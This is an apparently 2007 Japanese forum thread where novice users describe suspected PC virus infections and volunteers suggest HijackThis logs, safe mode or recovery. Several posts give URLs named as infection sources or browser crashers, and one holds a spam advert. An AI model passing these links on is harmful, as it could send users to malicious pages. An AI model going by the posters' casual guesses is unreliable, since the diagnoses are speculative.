【ウイルス】と思ったら書き込みを【解決】

えっとよ、いきなり糞スレ立てて申し訳ないが、ちょっと聞いてくれ。
ie_updater.exe
ってなに？ウイルス？

ただの単発スレか
それらしいスレタイでごまかそうとするな、ゴミクズ

ie_updater.exeはスパイウェアみたいだぜ。1さんよ。

サポート掲示板からきた者です。
俺は結構ウイルスなどに詳しいので、
不安なことがあったら書き込んでください。

1時間ごとに〜時だよっていうやつ
ウイルスかな？

>>5
そんなんあるの？初めて知った。それはどういう風に表示されるの？

スピーカーから男の声でぴっぴっぴっ9時だよって流れる
9時丁度に
そろそろ10時だからまた来るかも

>>7
HijackThisとかわかる？それのログうｐ希望

すいません
わかんないです

ttp://www.higaitaisaku.com/hijackthis.html

ログとってみます

お願いします。わからんかったらゴメンね

英語orz
無理かも

ｶﾞﾝｶﾞﾚ

p2p止めたら来なかったかも

p2pは止めたほうがいいよ。

ホントすいませんorz
手間をかけてしまって
止めるようがんばります

p2pはマジでやばいから止めるべき。頑張ってください。

ウイルスを検知しましたが処理しました。ご安心下さい。とでたんだがどうすればいいですか？

>>19
それなら大丈夫なはずです。
ソフトがウイルスを削除してくれたはずです。
安心してください。

なんかメールから「Ｐ２Ｐばっかやってないでやきそばくえ」みたいなのがきて
かんじへんかんできなくなったり、ぷろぐらむがひらけなかったり、ファイルがかってにＪＰＥＧ
にされたりしたんですがどんなウイルスなんですか？
たいさくもおしえてください。

>>21
知らんけどリカバリでもしとけば?

P2P触ったのは認めます。
普段と違う感じがして何か危ないと思ったのでシャットダウンして、その後すぐ起動したら、ご迷惑を…の画面でした。
キーボードが反応しなくて選択の余地がないんで、さっきから延々繰り返しです…
神様お願いします。

>>23
P2Pウイルスとかはまだ見つかってないのとかあるからマジでやばいよ。
とりあえずHijack Thisのログ･･･は取れないかな？
セーフモードも起動できない？

>>24＝神コロさま
キーボードのＵＳＢを抜いたら起動できました。スパイボットでいくつか駆除して、起動の際に一瞬出てきてたブルースクリーンは出なくましたが、ご迷惑を〜の画面は相変わらず出てきます。
しかし悪いことに、DELキー押していろいろ触ってしまったためか、windows読み込み中で必ずフリーズしてしまい、文字通り私もフリーズです0TL
策はありますでしょうか？

これは
http://genki01.cc.hokudai.ac.jp/reo/diary/?date=20061121

ローカルDにDroiDieという名前の意味不明なファイルとチョン語のファイル
（２つともチェスの駒のナイトみたいな形のファイル）が湧いてきて困って
います。むやみに削除しても大丈夫でしょうか？

>>25
そうなったらそれはシステムの故障とかそういう可能性もあるので、俺じゃわからないです。すいません。
フリーズしたままで暫く置いといたらどうですか？まあそれで無理なら俺はお手上げです。

>>27
また新種っぽいな。
まあまだわからないけど、P2Pとかやってる？
後、そうなる前にした操作や変なこととかあったら言ってください。

>>２７
トレント使って欲しいファイルはダウンロードしています（アニメやゲームROMなど）
。その際市販のウイルスバスター（デジターボのウイルスドクター）を使用しています。
スキャンしてもウイルスは発見されませんでした。しかし今でも少しずつ
増殖しています。

>>29
馬鹿だなぁ。P2Pはホント駄目だって。
まあこれに懲りてP2Pは止めましょう。

とりあえずタスクマネージャとかの画像も欲しいところですね。
アップお願いします。

ユーザー名の都合上画像はアップできませんが起動プログラムは、
sistem idle proce/system/troi die kxp/kvwsc exe/smss exe/k reg ex exe/
kvmonxp_1 exe/carpserv exe/uihost exe/kv srv xp exe/isass exe/msmsgs exe
/ico exe/actrotray exe/ati2evxx exe/apnt ex exe/conime exe
/svchost exe/alg exe/ctfmon exe/daemon exe/ez sp_px exe/winlogon exe/
atiptaxx exe/hk wnd exe/apoint exe/wuauclt exe/kvfw exe/bit comet exe
明らかに安全なやつは除いてあります。使用率の重い順です。

troi die kxp
がおそらく関係してると思う。こりゃ多分新種かなんかの亜種だな。

俺じゃ手に負えんので、アダ被で質問してみてくれ。

>>28
フリーズ放置も全く効果ナシでした…
特に大事なものを保存してるわけでもないので、どうしようもなければもういっそ初期化したいとも思ってますが、パスワードが必要になったりしますか？全く覚えてないんです。
携帯から何度も長々とすみません。次にPC触ったらあれこれ調べてみたいと思います。ありがとうございます。

パソコン一般板の超初期化質問スレに移動してみます。マルチになっちゃいますので、こちらはスルーお願いします。
いろいろとありがとうございました。

ｳｲﾙｽに感染してPCでネットできないのですが、どぉしたらいいかな…
ｶｽﾍﾟﾙｽｷｰ5でｽｷｬﾝしてもｳｲﾙｽ削除できませんってでるorz
助けて…

>>35
う〜ん、本当にウイルスなんですかね？
何でウイルスだとわかるんですか？

仕事で残業代もでない！
忙しくて他のことをする時間がない。でも・・・・
【簡単】にできる仕事で、副収入が欲しい。
私はそんな時、偶然、あるHPからこのビジネスに出会いました　　
パソコンで【好きな時間】に誰でもできる安心なお仕事です！
パソコンがない方でも、主婦の方でも簡単にできる仕事です。　　　　
毎月頂ける副収入に本当に感謝しています。堅実な人におすすめ☆　　　
一度このサイトを見てください。

詳しくはこちら↓

http://a★n.to/?mt
※ＵＲＬの★マークを消してね。

http://www30.atwiki.jp/virus2007jp/
こっちに移転します。

すみません、ウイルス踏んだっぽいので教えて欲しい事が有ります。

＊ウイルス注意
http://suzukiairi.net/cgi-bin/up/img/puniairi150.jpg

というリンクを踏んだ所、

Source: C:\Documents and Settings\Ryan T\Local Settings\Temporary Internet Files\Content.IE5\1W9XZX5R\puniairi150[1].jpg
Click for more information about this risk : PHP.Backdoor.Trojan
Action taken: Repair failed
Action taken: Access denied

というメッセージが、半年前に期限の切れたノートンから出ました。
このトロイ"PHP.Backdoor.Trojan "について調べた所、セキュリティーの
脆弱性を上げるだけ…みたいな事が書いて有ったのですが、（つまり
ファイルを削除する類では無い？）ＨＤＤから音がして急激に空きスペース
が増えていきました（慌てて電源を切ったので、空きスペースの増加範囲は
３００ＭＢ程でした）。

以上の事から、なんらかのファイルが削除されたと考えますが、何のファイル
が削除されたか知りたいのです。具体的には、この手のプログラムがどの
フォルダからアイテムの削除を行っていくのかを知りたいのですが、助力
願えませんか？

頭の良い強者な方、教えて〜。
間抜けな事に地雷を踏んでしまい、ウイルスに感染してしまった様で、パソ立ち上げると、デスクトップまで立ち上がるのですが、砂時計が出たままで、操作不能となってしまいました。（ポインタは動きます）
再セットアップは最終手段ですが、データ消去せず済む様な方法があれば教えて下さい。
ご教授の程、お願いします。

>>40
セーフモードでもむり？

はじめましてＰＣ初心者です。今朝出会い系サイトでこれをクリックしたらウィンドウが閉じてしまいその後ハード、ＰＣをクラッシュさせるだのと・・・ウィンドウに出ました
対処法とか今後何らかの支障が出るのか・・・今のところは何とか無事なんですが
どうすればよいのかわかりません（＞＜）誰か教えてください。
このＵＲＬ↓前の部分は欠落してるかも知れません。

96ab316f09d7a3d82ec47467d54699ee-h.iu089u.info/

４２の者です。補足ですがウィルスソフトはソースネクスト使ってます。
宜しくお願いしますｍ（＿＿）ｍ

更に追加です　これがそのページでした（＞＜）

http://96ab316f09d7a3d82ec47467d54699ee-t.iu089u.info
96ab316f09d7a3d82ec47467d54699ee
[url]http://96ab316f09d7a3d82ec47467d54699ee-b1.iu089u.info[/url]
[url=http://96ab316f09d7a3d82ec47467d54699ee-b2.iu089u.info]
96ab316f09d7a3d82ec47467d54699ee[/url] [u]
http://96ab316f09d7a3d82ec47467d54699ee-b3.iu089u.info[/u]
05c0c9a6b483684e6b2a117816eb27d8

答える方にウィルス踏んで確かめろというのかいお前さん

えっ？（＾＾；　　そんなわけじゃないいですけど…
どうすればいいんでしょうか？
ひょっとして…この先クラッシュするような事あるんでしょうか？

先程海外のサイトを回っていた所、
急にインターネットエクスプローラーに不具合が生じ、
終了してしまうという症状が発生しました。

新しく、インターネットエクスプローラを開いて、日本語サイトを見ても
幾らか時間が経つとまた同じ症状が出て、終了されては開き、
終了されては開き、の繰り返しです。

原因として心当たりがあるのは、検索結果の中にまぎれていた
成人向け海外サイトを踏んだことです。

どなたかアドバイスお願いします。

セーフモードで最悪な事態は回避出来そうです。
少し焦り、基本的なセーフモードまで、頭が廻りませんでした。
これで何とか、データ回避とシステム修復してみます。
当面、ここを頼らず頑張ってみますが、分からない事あればお助けお願い致します。
有り難う御座いました。

40さんと同じ症状に・・。
セーフモードで起動し、クッキーとインターネットキャッシュの削除、
Ｃドライブのエラーチェックをしてみましたが、改善しませんでした。

再インストールしかないのかな、とも思うのですが、
データ全削除はちょっと辛いので、その前にこれをやっておけ！
みたいなことがありましたらご指導のほど、お願いします。

通常起動したときに、タクスマネージャだけは正常に作動するようなので、
必要であれば作動しているアプリケーションなども列挙いたします。

どうぞ、よろしくお願いします。

リ　カ　バ　リ

40の者で、復旧方法でなく申し訳ないが、立ち上げの際、ウィンドウズ ユーザー メッセンジャーでエラーが出て、通常時のデスクトップのアイコンは出てるが動作しない、タスクバーのスタートも動作しないので、立ち下げる事も出来ない。。
（選択すると砂時計で、待てども、そのまま）
セーフモードでは、それらは可能。

マジでタスクマネージャーの画像やhijackthisのログをあげないと答えるほうも話しにならんだろ。
全員OS再インストールだな

※間違いでした。

ウィンドウズ ユーザー メッセンジャー ×

ウィンドウズ ユーザー マネージャー ○

つーかウイルスって何?

>>54
個々のﾊﾟｿｺﾝに悪さをするﾌﾟﾛｸﾞﾗﾑ。

製作者は一様に小学生の頃好きな娘の縦笛を舐めた事のある経験者という。

PC起動時にRemote Procedure Call(PRC)が異常終了しましたというメッセージが出て強制的にシャットダウンしてしまいます。どうらやらブラスタというウィルスらしいのですが、セーフモードにてアンチウィルスでスキャンしても駆除できません。

最近たまにネットを見ているとウインドウが勝手に閉じてしまいます。
何故でしょうか？
もしかしてウイルスでしょうか？
どうやったら解決出来ますか？教えて下さい

最近XPパソコンが重くなってきたので、
ウィルスのせいだと思い、
高い金を出してウィルスバスター2007 三年版を入れました。

しかし直るどころか、
余計重くなってしまいました。
風邪をこじらせてしまったのでしょうか？

もの凄く動作が遅く、
ストレスを抱える日々で辛いです。

別のウィルス対策ソフトを入れれば直りますか？
助けて下さい。

>>58
メモリ増設か最小限の構成で再インストール

・パソコン使用者が涼宮ハルヒになってる
・使っていると赤い泡みたいなので画面が覆い尽くされる
・「システム管理者によって制限されている」みたいなことを言われて、色々操作できない

どうやったら解決できますか？

PC操作してないのに勝手に操作されて
ブラウザとか開いたりアンインストールとかされたんだけど
もう一度PCつけたらなんともなかったんだけど
一体なんだったのか教えてください

PCたちあげたらドクロが表示されて動かせない...ORZ

PHP.Backdoor.Trojanに感染してしまって今ノートンでウィルスチェックをしているところです。
このウィルスはどんな悪さをするのか、詳しい人がいましたら教えてください。

>>63
http://aol.okwave.jp/qa2820832.html

PHP.Backdoor.Trojanで検索すれば沢山でてきます

まぁ今ツレから電話で
「ウイルスに感染したっぽい、殺人鬼　スクリーンセーバーってのがでたり
結婚式とかオレンジってファイルがある」
ってことでちょい見に行くんだが
もし本当だったら新種かな？もし新種じゃなかったら
検索で引っ掛けれない俺のヘタレをさらしたようなもんだな....ＯＲＺ

一応　Share常習だから　P2Pだろうなと予想。

>>64
有難うございました。

>>64

上の方で同様の質問をした者です、ありがとうございました。

開いたら女の子の画像。
同時にフロッピーがガーガー鳴った。
ウイルスなのでしょうか？

4 ：名無しさん＠恐縮です：2007/06/12(火) 15:31:42 ID:lNCTHN3t0
http://hey.chu.jp/up/source3/No_2471.jpg

>>68 何のウイルスでしょうか？手当てしないとダメでしょうか

>>68
怖くて開けない・・・

あのパソコンに詳しい方に聞きたいのですが…
パソコンを開いたときに背景の色が変わっていたのですが勝手に変わるって
ことはありますか？ウイルスかなんかでしょうか？
その後Nortonと言うセキュリティを設定したのですが問題はなかったのですが
ウィルスが潜んでる事とかあるんですか？素人なのですみません…

親父のＰＣが電源つけて起動させようとしたら女の声で「キーボードなんかムカツクー」(?)
という音声がリピートされるだけでＯＳ起動まで行かなかった。
どうすれば良いでしょうか？
それともおとなしく諦めてもらうかな

なんじゃそら

FC2ブログのランキングをクリックしたらウイルスに感染した！
FC2は結構危険なのか？
誰か他にもFC2でウイルスに感染した人いる？

急に血しぶきみたいなのが出てきて
それに画面が覆いつくされて、慌てて再起動したんですが
起動してもWINDOWS〜がどうたらこうたらで
アプリケーションが使えなくなりました。
Cドライブを見ると明らかにいろいろなくなってる・・・
何なんでしょうか。
どなたか詳しい方いらっしゃいませんか？

このスレ開いたとたんにセキュリティーソフト反応するんだが・・。

長い間ルスにしてる間に凄いレスがついてるなあｗｗｗ　

一人一人わかる程度で教えていきましょう！

電源入れたら、いつも通りwindowsが立ち上がらなくて、

青い背景に｢IF なんとかｾｰﾌﾓｰﾄﾞ とか、F8ｽﾍﾟｰｽなんとか｣

っいう英語で書かれた文章しか画面に映らなくなってしまったんですけど、
どうすれば良いのですか？

>>78
なんとかじゃわからないので、その文章を全文載せてください。

ちなみにこちらはそろそろ使用を中止しますので、

http://www30.atwiki.jp/virus2007jp/

に来て下さい。

If problems continue disable or remove any newly installed hardware or soft ware.

Disable BIOS memory options such as caching or shadowing.

If you need use safe mode to remove or disable components,

restart advanced startup options,
and then select safe mode.
↑でした。
ｾｰﾌﾓｰﾄﾞを選び、立ち上げると、またこの英語の画面が現れます。

>>80
その下のほうに更に　0なんとかって奴もありませんでした？　

あと、さっきのアドレスのほうの掲示板に書き込んで欲しいです。
こっちは見てないので。お願いします。

ありがとございます

(0000.0000.………)
みたいなものがありました
パソコン使えなくて、携帯からしかそのサイト見れないんですけど、書き込みの仕方がわかりません(_ _)

そのｻｲﾄに携帯から書き込むことができましたm(_ _)m


失礼しました。

ttp://jbbs.livedoor.jp/computer/36907/
どこに書き込んでくれました？

あと、0000の全文と0000の前に書いてある文章を教えてください。（携帯などで画像を撮ってくれても貼ってくれてもいいです）

一覧の
掲示板/コメント/2

という所に書込みました。
続きの英文は

Technical information

stop:0x000000ED (0x80F1E850,0xc0000006,0x00000000,0x00000000)

でしたm(_ _)m

>>85
自分も悪いけどよくわからなかったので、下記のサイトを見てみてください。
ttp://winxp.pasokoma.jp/9_276114.html

ありがとございますm(_ _)m

今度パソコンが使える環境で、そのサイトを見たいと思います。

誰か助けてorz今の状態は…パソコン買って一ヶ月程。家族で使用。みんな初心者。
ノートンが入っていて初めてスキャンしてみたらTracking Cookieというウィルス？に感染していると表示されました。
みんなで使っているのでどこで感染したのかはよくわからないです。ファイルの特定の仕方？とかもよくわからない素人集団なんで分かりやすく教えて貰えると嬉しいです；；
スキャンして問題の解決選んでも何度も引っ掛かって途方にくれています；

>>88
Tracking Cookieはそんなに神経質にならなくて大丈夫だと思うよ
いろんな意見や考え方があるけど、気になるならこれを参考に・・・

http://www.google.co.jp/search?rlz=1B2RNFA_jaJP214JP216&hl=ja&q=Tracking+Cookie%E3%81%A8%E3%81%AF&btnG=Google+%E6%A4%9C%E7%B4%A2&lr=

ありがとうございます。
妹から興味あって変なページ一回だけ行っちゃったと言われたんですが特に気にしなくても大丈夫ですかね？明日ゆっくりページ見てみますが出来れば早く安心させてあげたいのでもしわかるようならお願いします

メールが勝手に送信され続けるのですが、ウイルスですか？

ウイルススキャンしても感染が見つかりません。
詳しい方、対処法のご教授願います。

>>91
ウイルス、スパイウェアの可能性があります。
できればHijack Thisのログ、タスクマネージャの画像など貼り付け願います。

http://jbbs.livedoor.jp/computer/36907/
今度からは上のアドレスに書き込んでください。お願いします。

ADSLなんだけど、通信状況見てみたら最近異様に送信が多かった。
で、タスクマネージャーで怪しいタスク調べたら、
Spoolsvc.exe
Isass.exe
ってのがあったからググって見たらどっちもワームっぽかった。
タスクを殺してファイルも消してみた。
無事再起動したし、無駄な通信もなくなった。
ので一応報告してみる。

>>94
ttp://jbbs.livedoor.jp/computer/36907/
上のアドレスにお願いします。
あと、上のアドレスにHijack Thisのログを貼って欲しいです。

お願いします。

原田ウイルスって解除方法ってあるの？

ネットやってて電源がいきなり落ちてそれから電源がつかなくなってしまいました、これはウィルスなのでしょうか？

熱暴走じゃね？

熱暴走と申しますと、どうすれば直りますでしょうか、なにぶんアナログ人間なので申し訳ありません

あまりにも情報が少なすぎるから、熱暴走とは断定出来ないけど。
仮に熱暴走だとしたら、
簡単に言うとPCが熱くなって落ちちゃったって事。
エアコンや扇風機で、熱がこもらないようにすればいい。
PC内部にホコリが溜まってても熱暴走しやすい。

http://up.uppple.com/src/up3411.jpg
これなに？

100さん、ありがとうございます

>>101
アドレス見ただけでわかっちゃいましたが、それはブラクラじゃないですか？

別なスレでお世話になった方がいたら申し訳ありません。
トロイというものがよく分からないのですが、どうやら感染してしまったようです↓↓対処法は無しなのでしょうか…知っている方、どうか教えて下さい。

>>104
教えてあげますが、こちらはあんまり見てないので、
ttp://jbbs.livedoor.jp/computer/36907/
に書き込みお願いします。

ありがとうございます。゜( ´Д｀)゜。

今パソコン使えないのでもう少ししたら書き込みます。よろしくお願いします。

528 ：以下、名無しにかわりましてVIPがお送りします。：2007/06/26(火) 00:10:16.92 ID:ajcVZagx0
ttp://space-town.net/~vipper/love/nami.jpg
これで抜いた俺は勝ち組なのか負け組なのか
マナカナかわいいよマナカナ


↑を踏んでしまいさっきからOUTLOOKが沢山起動して困ってます
メーラーにJASRACKがどうたらと本文がかかれてます
他人のPC借りてるんで心配です
どうしましたらいいですか？

>>107
う〜ん、こりゃ凄いｗｗｗ
どうやら、危ないURLに自動的に移動するようになってるみたいですね。
今の症状を教えてください。

iTunesをいじっていたら急に画面が真っ青になったのですが。。

>>108
メーラーのOUTLOOKが永遠に起動して
本文にカスラックです音楽の著作権を何たらかんたらって表示されてました
スパム発信のウイルスでしょうか？

再起動してからは特に反応も見られません
メーラーの送信ボックスも変化は見られないので送信されて無いと見ていいでしょうか？

>>109
本当ですか？本当だとしたら、もうやばいですね。そこの会社さん。
この前もなんか爆発したとか言ってましたしね。

>>110
多分大丈夫だと思いますよ。
メールストームとかのブラクラを踏んでしまっただけだと思いますが、
気になるなら、オンラインスキャンなり、して見るといいと思います。

今後は怪しいアドレスは開かないようにしましょう。

>>111
110ですありがとうございます

はじめまして。

avast! 4 Home Editionを利用中にトロイが検索されてしまいました。

昨日までノートンを入れていたのですが昨日検索した時は何も出ず
その後、ノートンをアンインストールしてavastをインストールして検索したところ

トロイが見つかりました。
でこのavastでウィルスの検索している最中に電源が勝手に落ちてしまいます。

何故でしょうか？？
教えて下さいませ。

>>113
どう考えてもウイルスによる強制終了が行われてるようです。
セーフモードでやって見て、できなければ、Hijack Thisのログをお願いします。

>>114さん。


コメント有難うございます。
セーフモードでは下記の行いをしたら宜しいのでしょうか？？
素人でさっぱり分かりません。
お願いします。

1)一度電源オフ
2)セーフモードで起動（メーカロゴが出たら、F8を軽く何度かたたく、５〜６回）
3)セーフモードとネットワークを選んで起動、VGAモードなので画面が普段と違う
4)システム復元を無効にする
　スタート〜コントロールパネル〜パフォーマンスとメンテナンス〜システム〜システムの復元
　「システムの復元を無効にする」チェック入れる
5)IEを起動し、Cookieやキャッシュを消す

>>115
まあ、とりあえずそれはやって、ついでなので、Hihack Thisのログもとってください。

えっとキーロガーを踏んだかどうかはどこでわかりますか？

先日いろいろ怪しいファイルをダウンロードしたんですが、
どうやらそのファイルにはキーロガーが入っているとか聞いて。

調べたらある掲示板に
「モデムの'DATA'が点滅していたらかかってる可能性あり」と書いてあり、
見てみたらかなり頻繁に点滅していました。
でもだいぶ前(パソコンを買った当初)から点滅していたような気もします。

可能性じゃなくて確実に見分ける方法はありませんか？

>>116


ログをとりました。
この後どうすればよろしいのでしょうか？？

スカイプをやっていたときにウィルスのようなファイルを開いてしまいまして、
PCを起動し、デスクトップ画面が表示されると、

「rundll32.exe-DLL初期化の失敗
ウィンドウステーションがシャットダウン中であるため、アプリケーションが初期化に失敗しました」

という表示がされ、再起動が行われる。という状態が繰り返し行われ、パソコンが使えない状態になっています。

復旧するにはどうしたらよいでしょうか。

どなたか助言の方、よろしくお願いします。

マルチ失礼します。

自分のパソコンが素人目にみてもアウトなのですが初期化のやり方を教えて下さい。

>>120

メーカーパソコンだったら、リカバリーＣＤがあると思うのでそれをドライブにいれて画面の指示にしたがうだけ。
この時うまくＣＤブート出来なかったらまた来なされ(￣〜￣)ξ
データのバックアップをお忘れなく

>>121
ありがとうございます、助かります。

あと、データが全部消えてctrl＋art＋deleteがどうたらで調べたら初期化しないとダメらしいので、データのバックアップは取れないと思います。
お気遣い感謝します。

>>118
ttp://jbbs.livedoor.jp/computer/36907/
こっちに貼り付けお願いします。

>>117
ttp://cowscorpion.com/Antispy/KLDetector.html
これで検出できるみたいですよ。
あと、確かHijack Thisのログでもわかったような覚えがあります。

ここ２週間、中国ウィルスと戦ってます。
どんなに削除しても

http://www.puma166.com/1.htm
↑
ここにアクセスして、再感染してしまいます。
ウイルスバスターでも、対応できないです。

どうしたらよいでしょうか？どなたか助けてください。

>>125
中国ウイルスはしつこいですよね。
ウイルス名だけでも解りませんか？

複合感染を起こしています。

virus Worm.Win32.Viking.ls
Trojan program Trojan-PSW.Win32.OnLineGames.sl
Trojan program Trojan-Proxy.Win32.Small.du c:\program files\internet explorer\svchost.exe 24 KB
Trojan program Trojan-PSW.Win32.Nilage.bjp c:\windows\system32\nwizqjsj.dll 16.5 KB
その他もあります。

あらゆる実行ファイルに感染を起こし、さらに変なdllも多く、怪しいサービスも追加されていました。

とりあえず、ホストファイルの書き換えでしのいでいますが、
何かの拍子に、勝手にIEが起動し再感染したがっています。

>>128
もしかしたら、当方では解決できないかもしれません。
とりあえずHijack Thisのログをお願いします。

Logfile of Trend Micro HijackThis v2.0.0 (BETA)
Scan saved at 11:29:05, on 2007/07/01
Platform: Windows XP SP1 (WinNT 5.01.2600)
Boot mode: Normal

Running processes:
C:\WINDOWS\System32\smss.exe
C:\WINDOWS\system32\winlogon.exe
C:\WINDOWS\system32\services.exe
C:\WINDOWS\system32\lsass.exe
C:\WINDOWS\system32\svchost.exe
C:\WINDOWS\System32\svchost.exe
C:\WINDOWS\system32\spoolsv.exe
C:\Program Files\AOL\Active Virus Shield\avp.exe
C:\WINDOWS\System32\nvsvc32.exe
C:\Program Files\Analog Devices\SoundMAX\SMAgent.exe
C:\Program Files\SoftEther VPN Client 2.0\vpnclient.exe
C:\Program Files\SoftEther VPN Server 2.0\vpnserver.exe
C:\WINDOWS\System32\conime.exe
C:\WINDOWS\Explorer.EXE
C:\Program Files\NEC\SmartVision\SvSche.exe
C:\Program Files\AOL\Active Virus Shield\avp.exe
C:\WINDOWS\System32\ctfmon.exe
C:\Program Files\MagicTune Premium\GammaTray.exe
C:\Program Files\NECTVRC\TVRC.EXE
C:\Documents and Settings\P4\デスクトップ\UntiYAlt104\UntiYAlt.exe
D:\ASUS P4\tool\ネットワーク関連\Nemu1531\CheckSrv.exe
C:\WINDOWS\System32\taskmgr.exe
C:\WINDOWS\system32\NOTEPAD.EXE
C:\Program Files\Internet Explorer\IEXPLORE.EXE
C:\Program Files\Internet Explorer\IEXPLORE.EXE
D:\ASUS P4\tool\utatane0253\Utatane.exe
C:\Documents and Settings\P4\デスクトップ\live2ch105\live2ch.exe
C:\Program Files\TTP_V10\TranMnTe_p.exe
C:\Program Files\TTP_V10\TranMnTe_cnp.exe
C:\Program Files\Internet Explorer\IEXPLORE.EXE
C:\Documents and Settings\P4\デスクトップ\HiJackThis_v2\HiJackThis_v2.exe

R3 - URLSearchHook: NemuSearchHook Class - {D8E65B35-D24B-4A59-AD50-32AB5E55A9DA} - D:\ASUS P4\tool\ネットワーク関連\Nemu1531\NemuBar.dll (file missing)
O2 - BHO: SSVHelper Class - {761497BB-D6F0-462C-B6EB-D4DAF1D92D43} - C:\Program Files\Java\jre1.5.0_06\bin\ssv.dll
O2 - BHO: AcroIEToolbarHelper Class - {AE7CD045-E861-484f-8273-0445EE161910} - C:\Program Files\Adobe\Acrobat 6.0\Acrobat\AcroIEFavClient.dll
O2 - BHO: NTIECatcher Class - {C56CB6B0-0D96-11D6-8C65-B2868B609932} - C:\Program Files\Xi\NetTransport 2\NTIEHelper.dll
O3 - Toolbar: NemuBar - {15F32ED9-C897-4B56-A560-4FD731816B1E} - D:\ASUS P4\tool\ネットワーク関連\Nemu1531\NemuBar.dll (file missing)
O3 - Toolbar: Adobe PDF - {47833539-D0C5-4125-9FA8-0819E2EAAC93} - C:\Program Files\Adobe\Acrobat 6.0\Acrobat\AcroIEFavClient.dll
O3 - Toolbar: The翻訳プロフェッショナル V10.0 - {7221EBE3-9A33-4866-A5F8-A5EEC21B25DA} - C:\Program Files\TTP_V10\def_bar.dll
O3 - Toolbar: ラジオ(&R) - {8E718888-423F-11D2-876E-00A0C9082467} - C:\WINDOWS\System32\msdxm.ocx
O4 - HKLM\..\Run: [IMJPMIG8.1] "C:\WINDOWS\IME\imjp8_1\IMJPMIG.EXE" /Spoil /RemAdvDef /Migration32
O4 - HKLM\..\Run: [KernelFaultCheck] %systemroot%\system32\dumprep 0 -k
O4 - HKLM\..\Run: [nwiz] nwiz.exe /install
O4 - HKLM\..\Run: [SmartVisionScheduler] C:\Program Files\NEC\SmartVision\SvSche.exe
O4 - HKLM\..\Run: [IMEKRMIG6.1] C:\WINDOWS\ime\imkr6_1\IMEKRMIG.EXE
O4 - HKLM\..\Run: [MSPY2002] C:\WINDOWS\System32\IME\PINTLGNT\ImScInst.exe /SYNC
O4 - HKLM\..\Run: [PHIME2002ASync] C:\WINDOWS\System32\IME\TINTLGNT\TINTSETP.EXE /SYNC
O4 - HKLM\..\Run: [PHIME2002A] C:\WINDOWS\System32\IME\TINTLGNT\TINTSETP.EXE /IMEName
O4 - HKLM\..\Run: [aol] "C:\Program Files\AOL\Active Virus Shield\avp.exe"
O4 - HKLM\..\Run: [NvCplDaemon] RUNDLL32.EXE C:\WINDOWS\System32\NvCpl.dll,NvStartup
O4 - HKCU\..\Run: [ctfmon.exe] C:\WINDOWS\System32\ctfmon.exe
O4 - HKUS\S-1-5-19\..\Run: [ctfmon.exe] ctfmon.exe (User 'LOCAL SERVICE')
O4 - HKUS\S-1-5-20\..\Run: [ctfmon.exe] ctfmon.exe (User 'NETWORK SERVICE')
O4 - HKUS\S-1-5-18\..\Run: [ctfmon.exe] ctfmon.exe (User 'SYSTEM')
O4 - HKUS\.DEFAULT\..\Run: [ctfmon.exe] ctfmon.exe (User 'Default user')
O6 - HKCU\Software\Policies\Microsoft\Internet Explorer\Restrictions present
O6 - HKCU\Software\Policies\Microsoft\Internet Explorer\Control Panel present

O8 - Extra context menu item: Net Transportでﾀﾞｳﾝﾛｰﾄﾞ - C:\Program Files\Xi\NetTransport 2\NTAddLink.html
O8 - Extra context menu item: The翻訳_ページ翻訳 - C:\Program Files\TTP_V10\addins\Ie\afi_pagetran.htm
O8 - Extra context menu item: The翻訳_範囲指定翻訳 - C:\Program Files\TTP_V10\addins\Ie\afi_seltran.htm
O8 - Extra context menu item: The翻訳_翻訳設定 - C:\Program Files\TTP_V10\addins\Ie\afi_setdlg.htm
O8 - Extra context menu item: The翻訳_辞書参照 - C:\Program Files\TTP_V10\addins\Ie\ttp_showdic.htm
O8 - Extra context menu item: ページ内のFlashムービーを抽出 - C:\PROGRA~1\FLASHP~1\XTR.HTM
O8 - Extra context menu item: 全てをNet Transportでﾀﾞｳﾝﾛｰﾄﾞ - C:\Program Files\Xi\NetTransport 2\NTAddList.html
O9 - Extra button: NemuBar - {15F32ED9-C897-4B56-A560-4FD731816B1E} - D:\ASUS P4\tool\ネットワーク関連\Nemu1531\NemuBar.dll (file missing)
O9 - Extra 'Tools' menuitem: NemuBar - {15F32ED9-C897-4B56-A560-4FD731816B1E} - D:\ASUS P4\tool\ネットワーク関連\Nemu1531\NemuBar.dll (file missing)
O9 - Extra button: ページ翻訳 - {CCCAD8D1-E927-4131-A1A7-E550BFCD3548} - C:\Program Files\TTP_V10\addins\Ie\afi_pagetran.htm
O9 - Extra 'Tools' menuitem: The翻訳_ページ翻訳 - {CCCAD8D1-E927-4131-A1A7-E550BFCD3548} - C:\Program Files\TTP_V10\addins\Ie\afi_pagetran.htm
O9 - Extra button: (no name) - {CCCAD8D7-E927-4131-A1A7-E550BFCD3548} - C:\Program Files\TTP_V10\addins\Ie\ttp_showdic.htm
O9 - Extra 'Tools' menuitem: The翻訳_辞書参照 - {CCCAD8D7-E927-4131-A1A7-E550BFCD3548} - C:\Program Files\TTP_V10\addins\Ie\ttp_showdic.htm
O9 - Extra button: (no name) - {CCCAD8D8-E927-4131-A1A7-E550BFCD3548} - C:\Program Files\TTP_V10\addins\Ie\afi_seltran.htm
O9 - Extra 'Tools' menuitem: The翻訳_範囲指定翻訳 - {CCCAD8D8-E927-4131-A1A7-E550BFCD3548} - C:\Program Files\TTP_V10\addins\Ie\afi_seltran.htm
O9 - Extra button: (no name) - {CCCAD8DA-E927-4131-A1A7-E550BFCD3548} - C:\Program Files\TTP_V10\addins\Ie\afi_setdlg.htm
O9 - Extra 'Tools' menuitem: The翻訳_翻訳設定 - {CCCAD8DA-E927-4131-A1A7-E550BFCD3548} - C:\Program Files\TTP_V10\addins\Ie\afi_setdlg.htm
O9 - Extra button: 辞書バー - {CCCAD8DC-E927-4131-A1A7-E550BFCD3548} - C:\Program Files\TTP_V10\IeTbandTate.dll
O9 - Extra button: 翻訳バー - {CCCAD8DE-E927-4131-A1A7-E550BFCD3548} - C:\Program Files\TTP_V10\IeTbandYoko.dll

O16 - DPF: {05664D4A-60B9-4C04-929B-5F0098D38218} (veCamit for Setting Control) - http://ecamit.3jtech.com.tw/veCamitX.cab
O16 - DPF: {0A5FD7C5-A45C-49FC-ADB5-9952547D5715} (Creative Software AutoUpdate) - http://www.creative.com/su/ocx/15009/CTSUEng.cab
O16 - DPF: {0D41B8C5-2599-4893-8183-00195EC8D5F9} (asusTek_sysctrl Class) - http://support.asus.com/common/asusTek_sys_ctrl.cab
